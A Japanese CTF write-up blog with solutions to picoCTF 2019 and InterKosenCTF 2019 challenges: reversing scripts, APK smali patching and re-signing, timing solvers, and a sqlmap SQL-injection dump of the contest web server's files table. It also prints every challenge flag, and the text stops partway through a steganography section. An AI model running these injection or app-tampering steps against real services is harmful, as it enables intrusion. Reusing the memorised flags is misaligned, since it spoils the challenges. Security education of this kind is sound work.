2019-10-05 00:36:17.510 5801-5801/com.hellocmu.picoctf I/PICO: picoCTF{a.moose.once.bit.my.sister}

picoCTF{a.moose.once.bit.my.sister}

reverse_cipher - Points: 300

We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server.

Ghidraでrevのmain関数を見てみると、flag.txtの文字列に変換をかけている処理が見えました。

f:id:tsalvia:20191001032521p:plain

上記の処理と逆変換を行うようなスクリプトを書きました。

def main():
    with open("rev_this", "r") as f:
        rev_this = f.read() 

    flag = ""
    for i, ch in enumerate(rev_this):
        if i < 8 or i == 23:
            flag += ch 
        elif (i & 1) == 0:
            flag += chr(ord(ch) - 5)
        else:
            flag += chr(ord(ch) + 2)
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが確認できます。

$ python solve.py 
picoCTF{r3v3rs39ba4806b}

picoCTF{r3v3rs39ba4806b}

vault-door-5 - Points: 300

In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java

checkPasswordの処理を見てみると、入力値をURLエンコードし、Base64エンコードした文字列を expectedと比較している。 よって、expextedの文字列をBase64デコードし、URLデコードすればフラグとなります。

public boolean checkPassword(String password) {
    String urlEncoded = urlEncode(password.getBytes());
    String base64Encoded = base64Encode(urlEncoded.getBytes());
    String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                    + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                    + "JTM0JTVmJTMxJTMxJTM3JTM3JTY2JTM3JTM4JTMz";
    return base64Encoded.equals(expected);
}

以下のコマンドで変換すると、フラグが表示されました。

$ cat VaultDoor5.java | grep -A 2 "String expected" | cut -d'"' -f 2 | base64 -d | nkf --url-input | sed -e "s/^/picoCTF{/" | sed -e "s/$/\}\n/"
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

picoCTF{c0nv3rt1ng_fr0m_ba5e_64_1177f783}

droids2 - Points: 400

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

apktools でone.apkを展開してみます。

PS> apktool d one.apk

以下のsmaliファイルを見てみると、passwordの比較処理が確認できます。

one\smali\com\hellocmu\picoctf\FlagstaffHill.smali

.line 12
.local v0, "password":Ljava/lang/String;
invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v1

if-eqz v1, :cond_0

invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->fenugreek(Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

passwordの文字列をstrings.xmlで確認すると、「opossum」と書かれていました。

one\res\values\strings.xml

<string name="password">opossum</string>

APKをAndroidエミュレータにインストールして、パスワード「opossum」と入力し、ボタンを押すとフラグが表示されます。

picoCTF{pining.for.the.fjords}

vault-door-6 - Points: 350

This vault uses an XOR encryption scheme. The source code for this vault is here: VaultDoor6.java

入力したパスワードは、0x55でxorを取った後、比較をしているようです。 比較しているmyBytesをもう一度0x55でxorすると、フラグとなります。

public boolean checkPassword(String password) {
    // if (password.length() != 32) {
    //     return false;
    // }
    byte[] passBytes = password.getBytes();
    byte[] myBytes = {
        0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
        0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
        0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
        0xa , 0x60, 0x62, 0x36, 0x67, 0x6d, 0x6c, 0x67,
    };
    System.out.print("picoCTF{");
    for (int i=0; i<32; i++) {
        System.out.printf("%c", myBytes[i] ^ 0x55);
    }
    System.out.println("}");
    for (int i=0; i<32; i++) {
        if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
            return false;
        }
    }
    return true;
}

実行すると、フラグが出力されます。

$ javac VaultDoor6.java
$ java VaultDoor6
Enter vault password: picoCTF{aaa}
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892}
Access denied!

picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_57c2892}

B1ll_Gat35 - Points: 400

Can you reverse this Windows Binary?

x32dbgで実行し、「Incorrect key. Try again.」と表示されるタイミングで、EIPを「Correct input.」と表示されるアドレスに書き換えました。 しばらく、ステップ実行していると、フラグが出てきました。

f:id:tsalvia:20191011194755p:plain

PICOCTF{These are the access codes to the vault: 1063340}

Need For Speed - Points: 400

The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.

Ghidraで開くと、set_timer関数でalarmの設定がされていました。 ここを呼び出さないようにgdbでjumpさせると、フラグが表示されました。

f:id:tsalvia:20191002032100p:plain

gdb-peda$ start
gdb-peda$ jump *main+25
Continuing at 0x55555555498d.
Creating key...

Program received signal SIGALRM, Alarm clock.
Finished
Printing flag:
PICOCTF{Good job keeping bus #0d11d09e speeding along!}
[Inferior 1 (process 1634) exited normally]
Warning: not running

PICOCTF{Good job keeping bus #0d11d09e speeding along!}

Time's Up - Points: 400

Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_1_7d4f79c3df3e1b044801573eea5722be.

実行すると、計算式が表示されてすぐに終了します。手動で計算しても間に合わないので、以下のスクリプトを使って解きました。

from pwn import *

p = process("./times-up")
question = p.readuntil("\n").split(":")[1]
p.sendline(str(eval(question)))
p.interactive()

上記のスクリプトを実行すると、フラグが出力されます。

$ python ~/solve.py 
[+] Starting local process './times-up': pid 4188418
[*] Switching to interactive mode
Setting alarm...
Solution? Congrats! Here is the flag!
picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}
[*] Got EOF while reading in interactive
$ 

picoCTF{Gotta go fast. Gotta go FAST. #3daa579a}

asm4 - Points: 400

What will asm4("picoCTF_d899a") return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm4_3_2774c1aa0f793d4517b90661a765e1a6.

与えられたファイルをGAS用に調整して解きました。

以下のようにプログラムを調整しました。

.intel_syntax noprefix

.global asm4

asm4:
    push   ebp
    mov    ebp,esp
    push   ebx
    sub    esp,0x10
    mov    DWORD PTR [ebp-0x10],0x27d
    mov    DWORD PTR [ebp-0xc],0x0
    jmp    asm4_27
asm4_23:
    add    DWORD PTR [ebp-0xc],0x1
asm4_27:
    mov    edx,DWORD PTR [ebp-0xc]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    test   al,al
    jne    asm4_23
    mov    DWORD PTR [ebp-0x8],0x1
    jmp    asm4_138
asm4_51:
    mov    edx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    eax,DWORD PTR [ebp-0x8]
    lea    ecx,[eax-0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    mov    edx,eax
    mov    eax,DWORD PTR [ebp-0x10]
    lea    ebx,[edx+eax*1]
    mov    eax,DWORD PTR [ebp-0x8]
    lea    edx,[eax+0x1]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,edx
    movzx  eax,BYTE PTR [eax]
    movsx  edx,al
    mov    ecx,DWORD PTR [ebp-0x8]
    mov    eax,DWORD PTR [ebp+0x8]
    add    eax,ecx
    movzx  eax,BYTE PTR [eax]
    movsx  eax,al
    sub    edx,eax
    mov    eax,edx
    add    eax,ebx
    mov    DWORD PTR [ebp-0x10],eax
    add    DWORD PTR [ebp-0x8],0x1
asm4_138:
    mov    eax,DWORD PTR [ebp-0xc]
    sub    eax,0x1
    cmp    DWORD PTR [ebp-0x8],eax
    jl     asm4_51
    mov    eax,DWORD PTR [ebp-0x10]
    add    esp,0x10
    pop    ebx
    pop    ebp
    ret

こちらは、フラグ表示用のプログラムです。

#include <stdio.h>

int main(void)
{
    printf("picoCTF{0x%x}\n", asm4("picoCTF_d899a"));
    return 0;
}

コンパイルして実行すると、フラグが出力されます。

$ gcc -m32 -c test.S -o test.o
$ gcc -m32 -c solve.c -o solve.o -w
$ gcc -m32 solve.o test.o
$ ./a.out 
picoCTF{0x23e}

picoCTF{0x23e}

droids2 - Points: 400

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids2_0_bf474794b5a228db3498ba3198db54d7.

まず、APKファイルをzipとして展開し、dex2jarでclasses.dexをjar形式に変換します。

PS> cd two
PS> d2j-dex2jar.exe classes.dex

JD-GUIでjarファイルを開き、 com.hellocmu.picoctf.FlagstaffHill.getFlag() を確認すると、以下のようになっていました。

public static String getFlag(String paramString, Context paramContext)
{
  paramContext = new String[6];
  paramContext[0] = "weatherwax";
  paramContext[1] = "ogg";
  paramContext[2] = "garlick";
  paramContext[3] = "nitt";
  paramContext[4] = "aching";
  paramContext[5] = "dismass";
  int i = 3 - 3;
  int j = 3 / 3 + i;
  int k = j + j - i;
  int m = 3 + k;
  if (paramString.equals("".concat(paramContext[m]).concat(".").concat(paramContext[j]).concat(".").concat(paramContext[i]).concat(".").concat(paramContext[(m + i - j)]).concat(".").concat(paramContext[3]).concat(".").concat(paramContext[k]))) {
    return sesame(paramString);
  }
  return "NOPE";
}

「dismass.ogg.weatherwax.aching.nitt.garlick」という文字列と比較しているようです。 パスワードとして「dismass.ogg.weatherwax.aching.nitt.garlick」と入力すると、フラグが表示されます。

picoCTF{what.is.your.favourite.colour}

vault-door-7 - Points: 400

This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java

passwordToIntArrayを見てみると、入力したパスワードをint型に変換している処理が確認できます。 その後、checkPasswordで数値と比較している処理があります。ここで比較している数値がフラグとなります。

public int[] passwordToIntArray(String hex) {
    int[] x = new int[8];
    byte[] hexBytes = hex.getBytes();
    for (int i=0; i<8; i++) {
        x[i] = hexBytes[i*4]   << 24
             | hexBytes[i*4+1] << 16
             | hexBytes[i*4+2] << 8
             | hexBytes[i*4+3];
    }
    return x;
}
    
public boolean checkPassword(String password) {
    if (password.length() != 32) {
        return false;
    }
    int[] x = passwordToIntArray(password);
    return x[0] == 1096770097
        && x[1] == 1952395366
        && x[2] == 1600270708
        && x[3] == 1601398833
        && x[4] == 1716808014
        && x[5] == 1734305381
        && x[6] == 828716089
        && x[7] == 895562083;
}

int型に変換された文字列を変換するスクリプトを作成しました。

def main():
    x = [
        1096770097,
        1952395366,
        1600270708,
        1601398833,
        1716808014,
        1734305381,
        828716089,
        895562083
    ]
    
    flag = b"picoCTF{"
    for str_i in x:
        flag += str_i.to_bytes(4, byteorder="big")
    flag += b"}"
    
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが確認できます。

$ python solve.py 
b'picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}'

picoCTF{A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c}

droids3 - Points: 450

Find the pass, get the flag. Check out this file. You can also find the file in /problems/droids3_0_b475775d8018b2a030a38c40e3b0e25c.

apktoolでAPKファイルを展開し、three\smali\com\hellocmu\picoctf\FlagstaffHill.smali を確認します。 getFlagメソッドでは、nopeメソッドが内部で呼ばれています。 しかし、「don\'t wanna」を返すだけなので、意味がありません。 もう1つyepというメソッドがありますが、このメソッドを呼び出す処理がありませんでした。 そのため、以下のコードの7行目のnopeをyepに変更し、yepメソッドを呼び出すように変更しました。

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .locals 1
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    .line 19
    # invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->nope(Ljava/lang/String;)Ljava/lang/String;
    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->yep(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    .line 20
    .local v0, "flag":Ljava/lang/String;
    return-object v0
.end method

smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。

komaken.me

PS> apktool b .\three -o three_2.apk
PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA
PS> jarsigner -digestalg SHA1 -verbose -signedjar .\three_2.apk -keystore hoge.keystore three_2.apk hogeapp

ビルドされたAPKをAndroidエミュレータ上で実行し、ボタンを押すとyepメソッドが呼び出され、フラグが出力されます。

picoCTF{tis.but.a.scratch}

Time's Up, Again! - Points: 450

Previously you solved things fast. Now you've got to go faster. Much faster. Can you solve this one before time runs out? times-up-again, located in the directory at /problems/time-s-up--again-_4_89723abde97d958ac43dbfb7caeb77ee.

前回より、早く実行する必要があるようです。 pwntoolsを使うのをやめたり、pycompileしたりしているとフラグが出てきました。

import subprocess

while True:
    proc = subprocess.Popen("./times-up-again", stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    question = proc.stdout.readline()[10:-1]
    answer = eval(question)
    proc.stdout.readline()
    try:
        proc.stdin.write(str(answer) + "\n")
    except IOError:
        continue
    for _ in range(10):
        proc.stdout.flush()
        data = proc.stdout.readline()
        if data != "":
            print(data)

かなりの頻度で失敗しますが、何回か実行しているとフラグが出力されました。

$ pycompile /tmp/abcdddd.py
$ cd /problems/time-s-up--again-_4_935eacc9828fce7d8ad02710c47603e2/times-up-again
$ python /tmp/abcdddd.pyc
Solution? Nope!

Solution? Nope!

picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}

picoCTF{Hasten. Hurry. Ferrociously Speedy. #030d7d3f}

vault-door-8 - Points: 450

Apparently Dr. Evil's minions knew that our agency was making copies of their source code, because they intentionally sabotaged this source code in order to make it harder for our agents to analyze and crack into! The result is a quite mess, but I trust that my best special agent will find a way to solve it. The source code for this vault is here: VaultDoor8.java

scrambleやswitchBitsを見ると、色々変換をしている処理が見えます。 結構面倒くさそうなので、ソースコードを以下のように書き換え、総当たりで求めることにしました。

// These pesky special agents keep reverse engineering our source code and then
// breaking into our secret vaults. THIS will teach those sneaky sneaks a
// lesson.
//
// -Minion #0891
import java.util.*;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;

class VaultDoor8 {
    public static void main(String args[]) {
        // Scanner b = new Scanner(System.in);
        // System.out.print("Enter vault password: ");
        // String c = b.next();
        // String f = c.substring(8, c.length() - 1);
        VaultDoor8 a = new VaultDoor8();
        char[] flag = new char[32];
        for (int i = 0; i < 32; i++) {
            for (char ch = '!'; ch <= '~'; ch++) {
                flag[i] = ch;
                char[] buf = new char[i+1];
                System.arraycopy(flag, 0, buf, 0, i+1);
                if (a.checkPassword(new String(buf)))
                    break;
            }
        }
        System.out.printf("picoCTF{%s}\n", new String(flag));
        // if (a.checkPassword(f)) {
            // System.out.println("Access granted.");
        // } else {
            // System.out.println("Access denied!");
        // }
    }

    public char[] scramble(String password) {/* Scramble a password by transposing pairs of bits. */
        char[] a = password.toCharArray();
        for (int b = 0; b < a.length; b++) {
            char c = a[b];
            c = switchBits(c, 1, 2);
            c = switchBits(c, 0, 3);
            /* c = switchBits(c,14,3); c = switchBits(c, 2, 0); */ c = switchBits(c, 5, 6);
            c = switchBits(c, 4, 7);
            c = switchBits(c, 0, 1);
            /* d = switchBits(d, 4, 5); e = switchBits(e, 5, 6); */ c = switchBits(c, 3, 4);
            c = switchBits(c, 2, 5);
            c = switchBits(c, 6, 7);
            a[b] = c;
        }
        return a;
    }

    public char switchBits(char c, int p1, int p2) {
        /*
         * Move the bit in position p1 to position p2, and move the bit that was in
         * position p2 to position p1. Precondition: p1 < p2
         */ char mask1 = (char) (1 << p1);
        char mask2 = (char) (1 << p2);
        /* char mask3 = (char)(1<<p1<<p2); mask1++; mask1--; */ char bit1 = (char) (c & mask1);
        char bit2 = (char) (c & mask2);
        /*
         * System.out.println("bit1 " + Integer.toBinaryString(bit1));
         * System.out.println("bit2 " + Integer.toBinaryString(bit2));
         */ char rest = (char) (c & ~(mask1 | mask2));
        char shift = (char) (p2 - p1);
        char result = (char) ((bit1 << shift) | (bit2 >> shift) | rest);
        return result;
    }

    public boolean checkPassword(String password) {
        char[] scrambled = scramble(password);
        char[] expected = { 0xF4, 0xC0, 0x97, 0xF0, 0x77, 0x97, 0xC0, 0xE4, 0xF0, 0x77, 0xA4, 0xD0, 0xC5, 0x77, 0xF4,
                0x86, 0xD0, 0xA5, 0x45, 0x96, 0x27, 0xB5, 0x77, 0xC1, 0xF1, 0xD0, 0x95, 0x94, 0xD1, 0xA5, 0xC2, 0xD0 };
        for (int i = 0; i < scrambled.length; i++) {
            if (scrambled[i] != expected[i])
                return false;
        }
        return true;
        // return Arrays.equals(scrambled, expected);
    }
}

実行すると、フラグが表示されます。

$ javac VaultDoor8.java
$ java VaultDoor8     
picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}

picoCTF{s0m3_m0r3_b1t_sh1fTiNg_471ea5f81}

Forky - Points: 500

In this program, identify the last integer value that is passed as parameter to the function doNothing(). The binary is also found in /problems/forky_0_a39672953af93d29d20b29500b5f772c on the shell server.

同じような動作をするプログラムを作成しました。 doNothing関数のところで、tidと引数の値を出力するように一部変更してあります。

#include <sys/mman.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>

void doNothing(int num)
{
    printf("tid: %ld, picoCTF{%d}\n", syscall(SYS_gettid), num);
}

int main(void)
{
  int *piVar1;
  
  piVar1 = (int *)mmap((void *)0x0,4,3,0x21,-1,0);
  *piVar1 = 1000000000;
  fork();
  fork();
  fork();
  fork();
  *piVar1 = *piVar1 + 0x499602d2;
  doNothing(*piVar1);
  return 0;
}

実行して、出力結果をソートします。最後の行がフラグとなります。

$ gcc solve.c
$ ./a.out | sort | tail -n 1 
tid: 11680, picoCTF{-721750240}

picoCTF{-721750240}

droids4 - Points: 500

reverse the pass, patch the file, get the flag. Check out this file. You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

まずは、d2j-dex2jar.exe を使ってdexファイルをjarファイルに変換してコードを確認してみます。

PS> Rename-Item .\four.apk .\four.zip
PS> Expand-Archive four.zip
PS> cd .\four\
PS> d2j-dex2jar.exe .\classes.dex

生成されたclasses-dex2jar.jar を jd-gui.exe で開くと、以下のような処理が確認できます。

public class FlagstaffHill
{
  public static native String cardamom(String paramString);
  
  public static String getFlag(String paramString, Context paramContext)
  {
    paramContext = new StringBuilder("aaa");
    StringBuilder localStringBuilder1 = new StringBuilder("aaa");
    StringBuilder localStringBuilder2 = new StringBuilder("aaa");
    StringBuilder localStringBuilder3 = new StringBuilder("aaa");
    paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\004'));
    paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\023'));
    paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\022'));
    localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\007'));
    localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\000'));
    localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\001'));
    localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000'));
    localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013'));
    localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017'));
    localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016'));
    localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024'));
    localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017'));
    if (paramString.equals("".concat(localStringBuilder2.toString()).concat(localStringBuilder1.toString()).concat(paramContext.toString()).concat(localStringBuilder3.toString()))) {
      return "call it";
    }
    return "NOPE";
  }
}

パスワード比較をしていそうな処理と、呼び出されていないネイティブメソッドがあります。

次に apktool を使ってapkファイルを展開し、smaliファイルに変換します。

PS> apktool d four.apk

smaliファイルを以下のように変更します。

  • パスワードが正しくない場合、パスワードを戻り値に設定する。
  • パスワードが正しい場合、第1引数に入力した文字列を指定して、cardamomメソッドを呼び出す。
.method public static native cardamom(Ljava/lang/String;)Ljava/lang/String;
.end method

.method public static getFlag(Ljava/lang/String;Landroid/content/Context;)Ljava/lang/String;
    .locals 8
    .param p0, "input"    # Ljava/lang/String;
    .param p1, "ctx"    # Landroid/content/Context;

    # 省略

    move-result-object v4

    .line 36
    .local v4, "password":Ljava/lang/String;
    invoke-virtual {p0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v5

    if-eqz v5, :cond_0
 
    # const-string v5, "call it"

    # return-object v5

    invoke-static {p0}, Lcom/hellocmu/picoctf/FlagstaffHill;->cardamom(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v5

    return-object v5

    .line 37
    :cond_0
    const-string v5, "NOPE"

    # return-object v5
    return-object v4
.end method

smaliファイル編集後、以下のサイトを参考にapktoolでAPKを再ビルドします。

komaken.me

PS> apktool b .\four\ -o four_2.apk
PS> keytool -genkey -dname "c=JP" -keypass 123456 -keystore hoge.keystore -storepass 123456 -validity 10000 -alias hogeapp -keyalg RSA
PS> jarsigner -digestalg SHA1 -verbose -signedjar .\four_2.apk -keystore hoge.keystore four_2.apk hogeapp

ビルドされたAPKをAndroidエミュレータ上で実行します。 何も入力せずにボタンを押すと、パスワード「alphabetsoup」が出力されます。 「alphabetsoup」と入力して、ボタンを押すとcardamomメソッドが呼び出され、フラグが出力されます。

picoCTF{not.particularly.silly}

InterKosenCTF Writeup

InterKosenCTF について

InterKosenCTFが開催されました。
2019年8月11日午前10時~2019年8月12日午後10時(36時間)

InterKosenCTF

今回たまたま紹介があったので参加しました。 タイトルにKosenと入っているので、高専生だけかと思いましたが、特にそういった制限はないようです。

競技がスタートしてからしばらくの間、ずっと504が返ってきており、フラグが投入できない感じになっていました。 午後から安定してきて、快適に使えるようになっていました。運営さんお疲れ様です。

今回は、2人のチームで参加しました。結果は、20/91位で3214点でした。 すべての問題を見れていませんが、他のCTFと違い、易しめの問題が多くあった印象でした。 SECCON Beginnersと同じぐらいの難易度だと思います。

f:id:tsalvia:20190813044001p:plain

InterKosenCTF Writeup(8問)

私が実際に解いた8つの問題だけを紹介します。

uploader(warmup, web)

問題

uploader:
TAGS: warmup, web
URL: http://web.kosenctf.com:11000/

解答例

http://web.kosenctf.com:11000/ にアクセスすると、ファイルのアップロードとダウンロードができるWebサービスが表示されました。

f:id:tsalvia:20190813021139p:plain

左上に「view source」とあり、ソースコードを見ることができるようです。 ソースコードを読んでみると、以下のようにGETパラメータをそのままSQL文に入れている箇所がありました。 SQLインジェクションができそうです。

f:id:tsalvia:20190811123053p:plain

テーブル名も見えているので、sqlmapでfilesテーブルをダンプさせました。

$ sqlmap -u "http://web.kosenctf.com:11000/?search=1" --dump -T files
# 省略
+----+------------------------------------------+-----------------------------------------------+
| id | name                                     | passcode                                      |
+----+------------------------------------------+-----------------------------------------------+
| 1  | secret_file                              | the_longer_the_stronger_than_more_complicated |
| 2  | pay.php                                  | t                                             |
| 3  | download20190804152602.png               | hogehoge                                      |
| 4  | up1337.txt                               | 41414141                                      |
| 5  | echo.php                                 | 1234                                          |
| 6  | hoge.txt                                 | hogehoge                                      |
| 7  | payload.txt                              | test                                          |
| 8  | unko.php                                 | 114514                                        |
| 9  | hogehoge.txt                             | 5534bjhdhiudh                                 |
| 10 | test.txt                                 | aaa                                           |
| 11 | fugefblwugjrwabgewagehwalufvwufvujbhrgrg | hogehoge                                      |
+----+------------------------------------------+-----------------------------------------------+
#省略

「secret_file」というファイルがあり、「passcode」も分かりました。 取得できた「passcode」でファイルをダウンロードすると、フラグが確認できました。

FLAG

KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}

basic crackme(easy, reversing)

問題

basic crackme:
TAGS: easy, reversing
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/709fe7de50a7466099fd27a60ed457cd/basic_crackme.tar.gz

解答例

ファイルをダウンロードすると、64bitのELFバイナリが出てきました。

$ file crackme
crackme: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3dca344245681e2c75d9588284830d858770c1e0, for GNU/Linux 3.2.0, not stripped

とりあえず実行してみると、ヘルプが表示されました。 どうやらコマンドライン引数に正しいフラグを与えなければならないようです。

$ ./crackme
<usage> ./crackme: <flag>
$ ./crackme aaaaaaa
Try harder!

バイナリファイルなので、とりあえずGhidraで開いてみました。 デコンパイル結果を見てみると、コマンドライン引数に指定したフラグの文字数分だけ比較をして正しければ、 「Yes. This is the your flag :)」と表示されるようになっていました。

f:id:tsalvia:20190811122930p:plain

試しに、「KosenCTF{」と入力してみると、「Yes. This is the your flag :)」と表示されました。

$ ./crackme KosenCTF{
Yes. This is the your flag :)

ここまで分かれば、後は総当たりでフラグを求めることができます。

import subprocess
import sys
import string

def main():
    flag = "KosenCTF{"
    while True:
        for ch in string.printable:
            test_flag = flag + ch
            res = subprocess.run(["./crackme", test_flag], stdout=subprocess.PIPE)
            answer = res.stdout
            if "Yes. This is the your flag :)" in answer.decode("utf-8"):
                flag = test_flag
                if ch == '}':
                    print(flag)
                    sys.exit()
                break
    
if __name__ == "__main__":
    main()
$ python3 solve.py
KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

FLAG

KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}

Kurukuru Shuffle(easy, crypto)

問題

Kurukuru Shuffle:
TAGS: easy, crypto
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/dc802db1cbf94ae793680eeeb92b78b7/kurukuru_shuffle.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(shuffle.py、encrypted)が出てきました。

  • shuffle.py
    from secret import flag
    from random import randrange
    
    
    def is_prime(N):
        if N % 2 == 0:
            return False
        i = 3
        while i * i < N:
            if N % i == 0:
                return False
            i += 2
        return True
    
    
    L = len(flag)
    assert is_prime(L)
    
    encrypted = list(flag)
    k = randrange(1, L)
    while True:
        a = randrange(0, L)
        b = randrange(0, L)
    
        if a != b:
            break
    
    i = k
    for _ in range(L):
        s = (i + a) % L
        t = (i + b) % L
        encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
        i = (i + k) % L
    
    encrypted = "".join(encrypted)
    print(encrypted)
    
  • encrypted
    1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm

タイトル通り、フラグを3つのランダムな値(k、a、b (1 ≦ k ≦ 53、a ≠ b))を基にシャッフルするプログラムとなっていました。 shuffle.pyと同じアルゴリズムを使い、総当たりで「encrypted」の文字列をシャッフルさせるプログラムを作成しました。

import itertools
import re

def main():
    enc_flag = "1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"

    L = len(enc_flag)

    flag_candidate = set()
    for k, a, b in itertools.product(range(0, L), repeat=3):
        encrypted = list(enc_flag)
        if k == 0 or a == b:
            continue
        i = k
        for _ in range(L):
            s = (i + a) % L
            t = (i + b) % L
            encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
            i = (i + k) % L
       
        flag = "".join(encrypted)

        if re.match("^KosenCTF(.*)}$", flag):
            flag_candidate.add(flag)
        
    for flag in flag_candidate:
        print(flag)

if __name__ == "__main__":
    main()

実行してみると以下の通り、3パターンのフラグが出力されました。 一番上のフラグが正しいフラグとなっていました。

$ python3 .\solve.py
KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}
KosenCTF{5s4m1m1_m4sk_s3np41_1s_r34l9y_cut3_38769l1u}
KosenCTF{5s4m1m1_m4rk_s3np41_1s_s38l9y_cut3_34769l1u}

FLAG

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

Hugtto!(easy, forensics)

問題

Hugtto!:
TAGS: easy, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/ec6974b719ea4ea99fe2b7460b121297/hugtto.tar.gz

解答例

ファイルをダウンロードすると、2つのファイル(steg.py、steg_emiru.png)が出てきました。

  • steg.py
    from PIL import Image
    from secret import flag
    from datetime import datetime
    import tarfile
    import sys
    
    import random
    
    random.seed(int(datetime.now().timestamp()))
    
    bin_flag = []
    for c in flag:
        for i in range(8):
            bin_flag.append((ord(c) >> i) & 1)
    
    img = Image.open("./emiru.png")
    new_img = Image.new("RGB", img.size)
    
    w, h = img.size
    
    i = 0
    for x in range(w):
        for y in range(h):
            r, g, b = img.getpixel((x, y))
            rnd = random.randint(0, 2)
            if rnd == 0:
                r = (r & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 1:
                g = (g & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            elif rnd == 2:
                b = (b & 0xFE) | bin_flag[i % len(bin_flag)]
                new_img.putpixel((x, y), (r, g, b))
            i += 1
    
    new_img.save("./steg_emiru.png")
    with tarfile.open("stegano.tar.gz", "w:gz") as tar:
        tar.add("./steg_emiru.png")
        tar.add(sys.argv[0])
    
  • steg_emiru.png f:id:tsalvia:20190813025111p:plain

ザっと見た感じ、ステガノグラフィ系の問題のようです。 ソースコードを読んでみるとsteg.pyは、以下の手順フラグを画像に隠していることが分かりました。

  1. 現在の時刻を基に乱数のseed値を生成する。
  2. フラグの文字列をビットに変換する。
